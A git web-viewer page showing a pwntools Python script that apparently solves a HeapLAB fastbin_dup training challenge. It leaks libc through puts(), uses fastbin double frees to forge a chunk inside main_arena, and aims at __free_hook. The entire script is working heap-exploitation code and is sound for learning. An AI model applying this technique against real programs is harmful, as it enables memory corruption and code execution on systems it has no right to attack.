summaryrefslogtreecommitdiff
path: root/HeapLAB/challenge-fastbin_dup/bruh.py
blob: 191cbea7f9a24e24d23b417565ae17a9f6a8b581 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("fastbin_dup_2")
libc = elf.libc

context.terminal = ['kitty', 'bash', '-c']

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Index of allocated chunks.
index = 0

# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
    global index
    io.send("1")
    io.sendafter("size: ", f"{size}")
    io.sendafter("data: ", data)
    io.recvuntil("> ")
    index += 1
    return index - 1

# Select the "free" option; send index.
def free(index):
    io.send("2")
    io.sendafter("index: ", f"{index}")
    io.recvuntil("> ")

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.timeout = 0.1

# =============================================================================

#13 chunks

chunk1 = malloc(24, 'abcd')
chunk2 = malloc(24, 'abcc')

free(chunk1)
free(chunk2)
free(chunk1)

#malloc(24, p64(libc.sym.main_arena + 96))
#this sets up a fake size field in the fastbins
malloc(24, p64(0x81))
malloc(24, 'asdf')
malloc(24, 'asdf')

chunk_b1 = malloc(119, 'asdf')
chunk_b2 = malloc(119, 'asdf')

free(chunk_b1)
free(chunk_b2)
free(chunk_b1)

fake_chunk_loc = libc.sym.main_arena + 8 # begining of fastbin array

malloc(119, p64(fake_chunk_loc))
malloc(119, 'asdf')
malloc(119, 'sdfg')

#8 * 9

malloc(119, p64(0)*9 + p64(libc.sym.__free_hook - 16))

print(hex(fake_chunk_loc)) 

# =============================================================================

io.interactive()